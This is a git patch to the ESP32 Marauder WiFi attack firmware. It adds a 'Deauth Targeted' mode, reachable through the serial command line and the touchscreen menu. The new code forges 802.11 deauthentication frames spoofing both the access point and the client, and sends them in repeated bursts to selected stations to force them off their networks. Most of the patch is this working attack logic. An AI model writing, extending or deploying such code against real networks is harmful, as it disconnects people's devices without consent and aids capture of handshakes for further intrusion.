From 7d64840128143fd6d33e954d97a440f8dce444db Mon Sep 17 00:00:00 2001 From: Just Call Me Koko Date: Thu, 22 Dec 2022 15:21:54 -0500 Subject: [PATCH] Add command to attack stations --- README.md | 2 +- esp32_marauder/CommandLine.cpp | 23 ++++-- esp32_marauder/CommandLine.h | 9 +-- esp32_marauder/MenuFunctions.cpp | 19 +++-- esp32_marauder/WiFiScan.cpp | 122 ++++++++++++++++++++++++++----- esp32_marauder/WiFiScan.h | 2 + esp32_marauder/lang_var.h | 6 +- 7 files changed, 140 insertions(+), 43 deletions(-) diff --git a/README.md b/README.md index a5e48c7..5d0ee5b 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ -# ESP32 Marauder v0.9.20 +# ESP32 Marauder v0.10.0

Marauder logo

A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32 diff --git a/esp32_marauder/CommandLine.cpp b/esp32_marauder/CommandLine.cpp index 47e2473..6f14b93 100644 --- a/esp32_marauder/CommandLine.cpp +++ b/esp32_marauder/CommandLine.cpp @@ -109,11 +109,8 @@ void CommandLine::runCommand(String input) { Serial.println(HELP_CH_CMD); Serial.println(HELP_SETTINGS_CMD); Serial.println(HELP_CLEARAP_CMD_A); - Serial.println(HELP_CLEARAP_CMD_B); - Serial.println(HELP_CLEARAP_CMD_C); Serial.println(HELP_REBOOT_CMD); Serial.println(HELP_UPDATE_CMD_A); - Serial.println(HELP_UPDATE_CMD_B); // WiFi sniff/scan Serial.println(HELP_SCANAP_CMD); @@ -361,6 +358,7 @@ void CommandLine::runCommand(String input) { int ap_beacon_sw = this->argSearch(&cmd_args, "-a"); int src_addr_sw = this->argSearch(&cmd_args, "-s"); int dst_addr_sw = this->argSearch(&cmd_args, "-d"); + int targ_sw = this->argSearch(&cmd_args, "-c"); if (attack_type_switch == -1) { Serial.println("You must specify an attack type"); @@ -372,14 +370,21 @@ void CommandLine::runCommand(String input) { // Branch on attack type // Deauth if (attack_type == ATTACK_TYPE_DEAUTH) { - if (dst_addr_sw == -1) { + // Default to broadcast + if ((dst_addr_sw == -1) && (targ_sw == -1)) { Serial.println("Sending to broadcast..."); wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff"; } - else { + // Dest addr specified + else if (dst_addr_sw != -1) { wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1); Serial.println("Sending to " + wifi_scan_obj.dst_mac + "..."); } + // Station list specified + else if (targ_sw != -1) + Serial.println("Sending to Station list"); + + // Source addr not specified if (src_addr_sw == -1) { if (!this->apSelected()) { Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD); @@ -390,8 +395,14 @@ void CommandLine::runCommand(String input) { menu_function_obj.drawStatusBar(); #endif Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD); - wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED); + // Station list not specified + if (targ_sw == -1) + wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED); + // Station list specified + else + wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE); } + // Source addr specified else { String src_mac_str = cmd_args.get(src_addr_sw + 1); sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", diff --git a/esp32_marauder/CommandLine.h b/esp32_marauder/CommandLine.h index 34f778e..129b168 100644 --- a/esp32_marauder/CommandLine.h +++ b/esp32_marauder/CommandLine.h @@ -70,12 +70,9 @@ const char PROGMEM BT_SKIM_CMD[] = "sniffskim"; // Admin const char PROGMEM HELP_HEAD[] = "============ Commands ============"; const char PROGMEM HELP_CH_CMD[] = "channel [-s ]"; -const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a"; -const char PROGMEM HELP_CLEARAP_CMD_B[] = "clearlist -s"; -const char PROGMEM HELP_CLEARAP_CMD_C[] = "clearlist -c"; +const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s"; const char PROGMEM HELP_REBOOT_CMD[] = "reboot"; -const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s"; -const char PROGMEM HELP_UPDATE_CMD_B[] = "update -w"; +const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w"; const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s enable/disable>]/[-r]"; // WiFi sniff/scan @@ -91,7 +88,7 @@ const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c ]"; const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan"; // WiFi attack -const char PROGMEM HELP_ATTACK_CMD[] = "attack -t ] [-d ]/probe/rickroll>"; +const char PROGMEM HELP_ATTACK_CMD[] = "attack -t ] [-d ]/probe/rickroll>"; // WiFi Aux const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s"; diff --git a/esp32_marauder/MenuFunctions.cpp b/esp32_marauder/MenuFunctions.cpp index d3ddf12..3e02cae 100644 --- a/esp32_marauder/MenuFunctions.cpp +++ b/esp32_marauder/MenuFunctions.cpp @@ -889,6 +889,7 @@ void MenuFunctions::main(uint32_t currentTime) (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) && + (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL)) display_obj.displayBuffer(); @@ -898,7 +899,6 @@ void MenuFunctions::main(uint32_t currentTime) int pre_getTouch = millis(); // getTouch causes a 10ms delay which makes beacon spam less effective - //if (wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) #ifndef MARAUDER_MINI pressed = display_obj.tft.getTouch(&t_x, &t_y); #endif @@ -928,13 +928,13 @@ void MenuFunctions::main(uint32_t currentTime) (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) || + (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) || (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) || (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS)) { - //Serial.println("Stopping scan..."); wifi_scan_obj.StartScan(WIFI_SCAN_OFF); // If we don't do this, the text and button coordinates will be off @@ -977,6 +977,7 @@ void MenuFunctions::main(uint32_t currentTime) (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) || + (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) || @@ -986,7 +987,6 @@ void MenuFunctions::main(uint32_t currentTime) (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) || (wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR)) { - //Serial.println("Stopping scan..."); wifi_scan_obj.StartScan(WIFI_SCAN_OFF); // If we don't do this, the text and button coordinates will be off @@ -1013,9 +1013,9 @@ void MenuFunctions::main(uint32_t currentTime) (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) && + (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL)) - //(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST)) { // Need this to set all keys to false for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) { @@ -1030,8 +1030,6 @@ void MenuFunctions::main(uint32_t currentTime) for (uint8_t b = 0; b < current_menu->list->size(); b++) { display_obj.tft.setFreeFont(MENU_FONT); if (display_obj.key[b].justPressed()) { - //display_obj.key[b].drawButton2(current_menu->list->get(b).name, true); // draw invert - //display_obj.key[b].drawButton(ML_DATUM, BUTTON_PADDING, current_menu->list->get(b).name, true); display_obj.key[b].drawButton(true, current_menu->list->get(b).name); if (current_menu->list->get(b).name != text09) display_obj.tft.drawXBitmap(0, @@ -1042,14 +1040,10 @@ void MenuFunctions::main(uint32_t currentTime) current_menu->list->get(b).color, TFT_BLACK); } - //else if (pressed) - // display_obj.key[b].drawButton(false, current_menu->list->get(b).name); // If button was just release, execute the button's function if ((display_obj.key[b].justReleased()) && (!pressed)) { - //display_obj.key[b].drawButton2(current_menu->list->get(b).name); // draw normal - //display_obj.key[b].drawButton(ML_DATUM, BUTTON_PADDING, current_menu->list->get(b).name); display_obj.key[b].drawButton(false, current_menu->list->get(b).name); current_menu->list->get(b).callable(); } @@ -1671,6 +1665,11 @@ void MenuFunctions::RunSetup() this->drawStatusBar(); wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA); }); + addNodes(&wifiAttackMenu, text_table1[62], TFT_RED, NULL, DEAUTH_SNIFF, [this]() { + display_obj.clearScreen(); + this->drawStatusBar(); + wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE); + }); //addNodes(&wifiAttackMenu, "AP Mimic Flood", TFT_PURPLE, NULL, DEAUTH_SNIFF, [this]() { // display_obj.clearScreen(); // this->drawStatusBar(); diff --git a/esp32_marauder/WiFiScan.cpp b/esp32_marauder/WiFiScan.cpp index c5ef0d4..3e33efa 100644 --- a/esp32_marauder/WiFiScan.cpp +++ b/esp32_marauder/WiFiScan.cpp @@ -324,6 +324,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color) this->startWiFiAttacks(scan_mode, color, text_table4[8]); else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL) this->startWiFiAttacks(scan_mode, color, text_table4[8]); + else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED) + this->startWiFiAttacks(scan_mode, color, text_table4[47]); else if (scan_mode == WIFI_ATTACK_AP_SPAM) this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam "); else if (scan_mode == BT_SCAN_ALL) { @@ -463,6 +465,7 @@ void WiFiScan::StopScan(uint8_t scan_mode) (currentScanMode == WIFI_ATTACK_AUTH) || (currentScanMode == WIFI_ATTACK_DEAUTH) || (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) || + (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) || (currentScanMode == WIFI_ATTACK_MIMIC) || (currentScanMode == WIFI_ATTACK_RICK_ROLL) || (currentScanMode == WIFI_PACKET_MONITOR) || @@ -2354,24 +2357,6 @@ void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t } } -/* -void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) { - set_channel = random(1,12); - esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); - delay(1); - - // Randomize SRC MAC - packet[10] = packet[16] = custom_ssid.bssid[0]; - packet[11] = packet[17] = custom_ssid.bssid[1]; - packet[12] = packet[18] = custom_ssid.bssid[2]; - packet[13] = packet[19] = custom_ssid.bssid[3]; - packet[14] = packet[20] = custom_ssid.bssid[4]; - packet[15] = packet[21] = custom_ssid.bssid[5]; - - char ESSID[custom_ssid.essid.length() + 1] = {}; - custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1); -}*/ - void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) { set_channel = random(1,12); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); @@ -2638,6 +2623,70 @@ void WiFiScan::sendProbeAttack(uint32_t currentTime) { } } +void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) { + WiFiScan::set_channel = channel; + esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); + delay(1); + + // Build AP source packet + deauth_frame_default[4] = mac[0]; + deauth_frame_default[5] = mac[1]; + deauth_frame_default[6] = mac[2]; + deauth_frame_default[7] = mac[3]; + deauth_frame_default[8] = mac[4]; + deauth_frame_default[9] = mac[5]; + + deauth_frame_default[10] = bssid[0]; + deauth_frame_default[11] = bssid[1]; + deauth_frame_default[12] = bssid[2]; + deauth_frame_default[13] = bssid[3]; + deauth_frame_default[14] = bssid[4]; + deauth_frame_default[15] = bssid[5]; + + deauth_frame_default[16] = bssid[0]; + deauth_frame_default[17] = bssid[1]; + deauth_frame_default[18] = bssid[2]; + deauth_frame_default[19] = bssid[3]; + deauth_frame_default[20] = bssid[4]; + deauth_frame_default[21] = bssid[5]; + + // Send packet + esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); + esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); + esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); + + packets_sent = packets_sent + 3; + + // Build AP dest packet + deauth_frame_default[4] = bssid[0]; + deauth_frame_default[5] = bssid[1]; + deauth_frame_default[6] = bssid[2]; + deauth_frame_default[7] = bssid[3]; + deauth_frame_default[8] = bssid[4]; + deauth_frame_default[9] = bssid[5]; + + deauth_frame_default[10] = mac[0]; + deauth_frame_default[11] = mac[1]; + deauth_frame_default[12] = mac[2]; + deauth_frame_default[13] = mac[3]; + deauth_frame_default[14] = mac[4]; + deauth_frame_default[15] = mac[5]; + + deauth_frame_default[16] = mac[0]; + deauth_frame_default[17] = mac[1]; + deauth_frame_default[18] = mac[2]; + deauth_frame_default[19] = mac[3]; + deauth_frame_default[20] = mac[4]; + deauth_frame_default[21] = mac[5]; + + // Send packet + esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); + esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); + esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); + + packets_sent = packets_sent + 3; +} + void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) { // Itterate through all access points in list // Check if active @@ -3508,6 +3557,43 @@ void WiFiScan::main(uint32_t currentTime) packets_sent = 0; } } + else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) { + // Loop through each AP + for (int x = 0; x < access_points->size(); x++) { + // Only get selected APs + if (access_points->get(x).selected) { + AccessPoint cur_ap = access_points->get(x); + // Loop through each AP's Station + for (int i = 0; i < cur_ap.stations->size(); i++) { + // Only get selected Stations + if (stations->get(cur_ap.stations->get(i)).selected) { + Station cur_sta = stations->get(cur_ap.stations->get(i)); + + // Send deauths for each selected AP's selected Station + for (int y = 0; y < 25; y++) + this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac); + + // Display packets sent on screen + if (currentTime - initTime >= 1000) { + initTime = millis(); + String displayString = ""; + String displayString2 = ""; + displayString.concat(text18); + displayString.concat(packets_sent); + for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) + displayString2.concat(" "); + #ifdef HAS_SCREEN + display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); + display_obj.showCenterText(displayString2, 160); + display_obj.showCenterText(displayString, 160); + #endif + packets_sent = 0; + } + } + } + } + } + } else if ((currentScanMode == WIFI_ATTACK_MIMIC)) { // Need this for loop because getTouch causes ~10ms delay // which makes beacon spam less effective diff --git a/esp32_marauder/WiFiScan.h b/esp32_marauder/WiFiScan.h index 02c3d0d..0e20127 100644 --- a/esp32_marauder/WiFiScan.h +++ b/esp32_marauder/WiFiScan.h @@ -66,6 +66,7 @@ #define WIFI_ATTACK_DEAUTH_MANUAL 24 #define WIFI_SCAN_RAW_CAPTURE 25 #define WIFI_SCAN_STATION 26 +#define WIFI_ATTACK_DEAUTH_TARGETED 27 #define GRAPH_REFRESH 100 @@ -246,6 +247,7 @@ class WiFiScan void sendProbeAttack(uint32_t currentTime); void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff"); void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff"); + void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]); void broadcastRandomSSID(uint32_t currentTime); void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid); void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid); diff --git a/esp32_marauder/lang_var.h b/esp32_marauder/lang_var.h index b3f531f..2e55a99 100644 --- a/esp32_marauder/lang_var.h +++ b/esp32_marauder/lang_var.h @@ -100,6 +100,7 @@ PROGMEM const char text1_58[] = "Raw Capture"; PROGMEM const char text1_59[] = "Station Sniff"; PROGMEM const char text1_60[] = "Clear Stations"; PROGMEM const char text1_61[] = "Select Stations"; +PROGMEM const char text1_62[] = "Deauth Targeted"; //SDInterface.cpp texts @@ -175,12 +176,13 @@ PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03 PROGMEM const char text4_44[] = " AP Scan "; PROGMEM const char text4_45[] = "Clearing Stations..."; PROGMEM const char text4_46[] = "Stations Cleared: "; +PROGMEM const char text4_47[] = "Targeted Deauth"; //Making tables PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8}; -PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61}; +PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62}; PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14}; PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5}; -PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46}; +PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47}; #endif